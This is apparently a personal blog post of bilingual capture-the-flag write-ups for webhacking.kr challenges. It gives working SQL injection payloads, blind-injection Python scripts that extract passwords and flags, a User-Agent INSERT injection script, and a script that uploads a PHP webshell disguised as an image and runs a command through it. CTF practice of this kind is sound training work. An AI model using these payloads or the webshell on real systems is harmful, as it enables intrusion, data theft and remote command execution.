Hello Navi

Tech, Security & Personal Notes

Challenge

Extract the admin password through the login query.

通过登录查询提取 admin 密码。

1
https://webhacking.kr/challenge/web-29/

Analysis

登录查询同时使用 no 和 id。将 no 设置为 0||no=2&&id=0x61646d696e 后,页面进入 no=2 且 id=admin 对应的 admin password 分支。0x61646d696e 是 admin 的十六进制字面量,解析结果为 admin。

当前分支页面的表单为 GET 请求,字段名是 auth:

1
2
3
<form method=get>
admin password : <input type=text name=auth><input type=submit>
</form>

该页面只提供密码校验入口,响应没有直接泄露 password。已知候选 auth=213 返回 Failure,当前没有可确认的密码或固定 flag,因此不添加 spoiler。

Solution

将 no 构造成一个始终命中 no=2 和 id=admin 的条件,同时保留其它 GET 参数:

1
2
3
no=0||no=2&&id=0x61646d696e
id=guest
pw=guest

对应请求:

1
2
3
4
5
6
7
8
9
10
$ curl -sS -b 'PHPSESSID=<mission-cookie>' \\
'https://webhacking.kr/challenge/web-29/?no=0%7C%7Cno%3D2%26%26id%3D0x61646d696e&id=guest&pw=guest'
<html>
<head>
<title>Challenge 40</title>
</head>
<body>
<form method=get>
admin password : <input type=text name=auth><input type=submit>
</form>

Challenge

Bypass the addslashes and encoding boundary to return admin.

利用多字节编码边界绕过 addslashes 并返回 admin。

1
https://webhacking.kr/challenge/web-22/

Analysis

id 先经过 addslashes,再从 EUC-KR 转为 UTF-8。%aa 是 EUC-KR 多字节序列的前导字节;它与后续单引号及服务端插入的反斜杠共同跨过编码边界,使单引号重新参与 SQL 语法。id like 0x61646d696e 用十六进制字面量表达 admin,|| 提供逻辑或,# 注释掉原查询尾部。

Solution

请求为:

1
/challenge/web-22/?id=%aa%27%20%7C%7C%20id%20like%200x61646d696e%23&pw=guest

该请求返回 hi admin,进入 admin 分支。

该 payload 依赖服务端字符集转换顺序和连接字符集;改变编码或转换顺序可能使 %aa%27 失效。

Challenge

Inspect the RPG Maker event instead of crossing the river normally.

通过检查 RPG Maker event 绕过正常过河过程。

1
https://webhacking.kr/challenge/new-11/

Analysis

地图 Map001.json 中的宝箱位于 (8, 2)。宝箱 event 会累计变量 1 和变量 2;当变量 1 大于 6 时,event script 将 flag 写入变量 1。

Solution

在游戏页面的 console 中设置玩家坐标和变量,再启动宝箱 event:

1
2
3
4
5
$gamePlayer._x = 8;
$gamePlayer._y = 2;
$gamePlayer.refresh();
$gameVariables.setValue(1, 7);
$gameMap.event(1).start();

event 执行后,变量 1 被写入 flag。该操作直接触发宝箱 event,跳过正常移动路径。

Challenge

The time cookie is used in a blind SQL injection.

time cookie 存在 blind SQL injection。

1
https://webhacking.kr/challenge/web-02/

Analysis

页面把 time Cookie 带入数据库查询。对 Cookie 发送真假条件时,响应中的时间标记会随条件改变,这个差异就是 blind SQL injection 的 oracle。先确认目标字段的长度,再逐字符枚举 ASCII 值,就能从 admin_area_pw 取出管理员密码。枚举请求只读取页面,提交密码时才访问 /challenge/web-02/admin.php。

Solution

下面的脚本使用当前 challenge 的响应标记 2070-01-01 09:00:01 作为 true 条件,并逐字符提取 admin_area_pw.pw。它不会提交管理员表单;脚本输出的值需要手动填入密码表单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD02_URL", "https://webhacking.kr/challenge/web-02/"
)
TRUE_MARKER = os.environ.get("OLD02_TRUE_MARKER", "2070-01-01 09:00:01")
TABLE = "admin_area_pw"
COLUMN = "pw"
MAX_LENGTH = 64

def query(session: requests.Session, condition: str) -> bool:
"""Return the boolean result observed through the time-cookie response."""
payload = f"1 AND ({condition})"
response = session.get(
BASE_URL,
cookies={"time": payload},
timeout=10,
)
response.raise_for_status()
return TRUE_MARKER in response.text

def find_length(session: requests.Session) -> int:
expression = f"LENGTH((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1))"
for length in range(1, MAX_LENGTH + 1):
if query(session, f"{expression}={length}"):
return length
raise RuntimeError("password length was not found within MAX_LENGTH")

def find_character(session: requests.Session, position: int) -> str:
expression = (
f"ASCII(SUBSTRING((SELECT {COLUMN} FROM {TABLE} LIMIT 0,1),"
f"{position},1))"
)
for codepoint in range(32, 127):
if query(session, f"{expression}={codepoint}"):
return chr(codepoint)
raise RuntimeError(f"ASCII value not found at position {position}")

def extract_password(session: requests.Session) -> str:
length = find_length(session)
return "".join(
find_character(session, position)
for position in range(1, length + 1)
)

def main() -> int:
with requests.Session() as session:
password = extract_password(session)
print(password)
return 0

if __name__ == "__main__":
sys.exit(main())

将脚本输出提交到:

1
https://webhacking.kr/challenge/web-02/admin.php

Challenge

Pass the JavaScript challenge's password check.

通过 JavaScript challenge 的密码校验。

1
https://webhacking.kr/challenge/js-7/

Analysis

页面的 JavaScript 校验把 Passw0RRdd 作为请求参数读取,并接受值 1。因此校验条件可以直接由 query string 满足。

Solution

发送以下 GET 请求:

1
2
curl -sS \
'https://webhacking.kr/challenge/js-7/?Passw0RRdd=1'

请求参数满足 JavaScript 校验并进入题目完成分支。

Challenge

The page records a User-Agent and later trusts the stored identity.

页面记录 User-Agent,随后信任数据库中保存的身份。

1
https://webhacking.kr/challenge/web-08/

Analysis

源码用 getenv("HTTP_USER_AGENT") 得到 $agent,并把它直接拼进 INSERT:

1
insert into chall8(agent,ip,id) values('$agent','$ip','guest')

查询阶段却对 $_SERVER['HTTP_USER_AGENT'] 使用 addslashes()。因此第一次请求可以利用未转义的 INSERT 创建 agent=hacked, id=admin 的记录;第二次请求只需使用同一个普通 hacked User-Agent,查询就会取到这条记录并满足 id == admin。

Solution

下面的脚本按顺序发送两次请求。第一条 User-Agent 以单引号结束第一条 values,再追加一条 admin 记录;第二条请求使用插入记录的 agent 值。requests 会保留 header 中的引号、逗号和括号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
"OLD08_URL", "https://webhacking.kr/challenge/web-08/"
)
INJECTION_USER_AGENT = "hacked','1','admin'),('hacked"
NORMAL_USER_AGENT = "hacked"

def request_with_user_agent(
session: requests.Session, user_agent: str
) -> requests.Response:
response = session.get(
URL,
headers={"User-Agent": user_agent},
timeout=10,
)
response.raise_for_status()
return response

def main() -> int:
with requests.Session() as session:
inserted = request_with_user_agent(session, INJECTION_USER_AGENT)
print(inserted.text)
result = request_with_user_agent(session, NORMAL_USER_AGENT)
print(result.text)
return 0

if __name__ == "__main__":
sys.exit(main())

拼接后的 INSERT 关键部分等价于:

1
2
INSERT INTO chall8(agent, ip, id)
VALUES ('hacked', '1', 'admin'), ('hacked', '<request-ip>', 'guest')

第二次请求必须使用 hacked,而不能再次发送注入字符串,因为查询阶段的 addslashes() 会改变带引号 payload 的含义。

插入行使用固定的 '1' 作为 IP,因此不依赖服务器为当前请求分配的来源地址。

Challenge

Bypass the filtered SQL syntax and select admin.

绕过 SQL 语法过滤并选出 admin。

1
https://webhacking.kr/challenge/web-23/

Analysis

题目过滤了空格、/、*、% 和若干关键词,但仍允许 ||、LIKE、括号及 CHAR()。因此可以把 admin% 写成 char(97,100,109,105,110,37),再用 LIKE 匹配 admin 记录;前缀 lv=6|| 使表达式进入目标分支。

Solution

payload 为:

1
?lv=6||(id)like(char(97,100,109,105,110,37))

该 payload 命中 admin 目标记录。

Challenge

Move the target link to the goal position.

将目标链接移动到终点位置。

1
https://webhacking.kr/challenge/code-1/

Analysis

hackme 元素的 onclick 处理器每次把 style.left 增加 1px;当结果恰好为 1600px 时,脚本才把 href 设置为 ?go=1600px:

1
2
this.style.left = parseInt(this.style.left, 10) + 1 + "px";
if (this.style.left == "1600px") this.href = "?go=" + this.style.left;

直接访问 ?go=1600px 会触发 no hack,因为服务端还需要这次真实的 click 流程。把元素放到终点前 1px,再触发一次 click,可以同时满足位置和链接生成条件。

Solution

在题目页面的浏览器开发者工具 Console 中运行完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(function moveTargetToGoal() {
const target = document.getElementById("hackme");
if (!target) {
throw new Error("#hackme was not found");
}

target.style.left = "1599px";
target.click();

if (target.style.left !== "1600px") {
throw new Error(`unexpected position: ${target.style.left}`);
}
if (target.getAttribute("href") !== "?go=1600px") {
throw new Error(`unexpected href: ${target.getAttribute("href")}`);
}
})();

Challenge

Recover the secret admin post through the search function.

通过搜索功能恢复 admin 私密文章中的 flag。

1
https://webhacking.kr/challenge/web-33/

Analysis

搜索结果会把 search 放入 LIKE 查询。admin 文章本身不能直接打开,但搜索结果中是否出现 admin 行可以作为 boolean oracle:如果当前前缀匹配 secret 内容,响应包含 admin;否则不包含。

% 和 _ 是 SQL LIKE 通配符,不能把它们当成普通候选字符而不加说明。flag 可能包含 _;每个字符都需要通过响应确认,最终检查完整 flag 是否以 } 结束。

Solution

题目 endpoint 是 /challenge/web-33/index.php。单次探测使用 POST form:

1
2
3
4
POST /challenge/web-33/index.php
Content-Type: application/x-www-form-urlencoded

search=当前前缀+候选字符

以下脚本包含 session、候选集、POST 请求、oracle 和完整循环。它从已知前缀 flag{ 开始;% 被排除,避免直接制造任意长度匹配。脚本会在没有字符匹配或收集到 } 时停止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import os
import string
import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-33/index.php"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
MAX_LENGTH = 64

CHARACTERS = (
string.digits
+ string.ascii_lowercase
+ string.ascii_uppercase
+ "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
)

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-56-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def admin_visible(session, prefix):
response = session.post(
ENDPOINT,
data={"search": prefix},
timeout=20,
)
response.raise_for_status()
return "admin" in response.text.lower()

def recover_flag(session):
flag = "flag{"
for _ in range(MAX_LENGTH - len(flag)):
for character in CHARACTERS:
candidate = flag + character
if admin_visible(session, candidate):
flag = candidate
print(flag)
break
else:
raise RuntimeError(f"no candidate matched after {flag!r}")
if flag.endswith("}"):
return flag
raise RuntimeError("closing brace was not reached")

def main():
session = make_session()
flag = recover_flag(session)
print(f"flag={flag}")

if __name__ == "__main__":
main()

Challenge

Upload a PHP webshell while sending an image MIME type, then read /flag.

使用 image MIME type 上传 PHP webshell,再读取 /flag。

1
http://webhacking.kr:10004/

Analysis

服务端检查 multipart 文件字段 file 的 MIME 类型,却没有同时阻止 .php 文件名。于是 PHP 内容可以用 image/png 的 multipart Content-Type 上传;保存后,服务器按 PHP 文件处理该文件。访问脚本并给 cmd 参数 cat /flag,由 system() 执行命令并把 /flag 内容返回。

Solution

下面是完整可运行的 Python 脚本。它显式构造 multipart 上传,保留关键的字段名、PHP 文件名和伪装 MIME 类型,再请求上传后的 webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from __future__ import annotations

import argparse
from urllib.parse import urljoin

import requests

WEB_SHELL = b'<?php system($_GET["cmd"]); ?>\n'

def upload(session: requests.Session, upload_url: str, filename: str) -> str:
files = {"file": (filename, WEB_SHELL, "image/png")}
response = session.post(upload_url, files=files, timeout=20)
response.raise_for_status()
return urljoin(upload_url, filename)

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--upload-url", default="http://webhacking.kr:10004/")
parser.add_argument("--filename", default="shell.php")
args = parser.parse_args()

session = requests.Session()
shell_url = upload(session, args.upload_url, args.filename)
response = session.get(shell_url, params={"cmd": "cat /flag"}, timeout=20)
response.raise_for_status()
print(response.text)

if __name__ == "__main__":
main()

机制是 MIME 白名单与实际文件解释方式脱节:上传检查看到 image/png,文件名和保存位置仍让服务器执行 .php。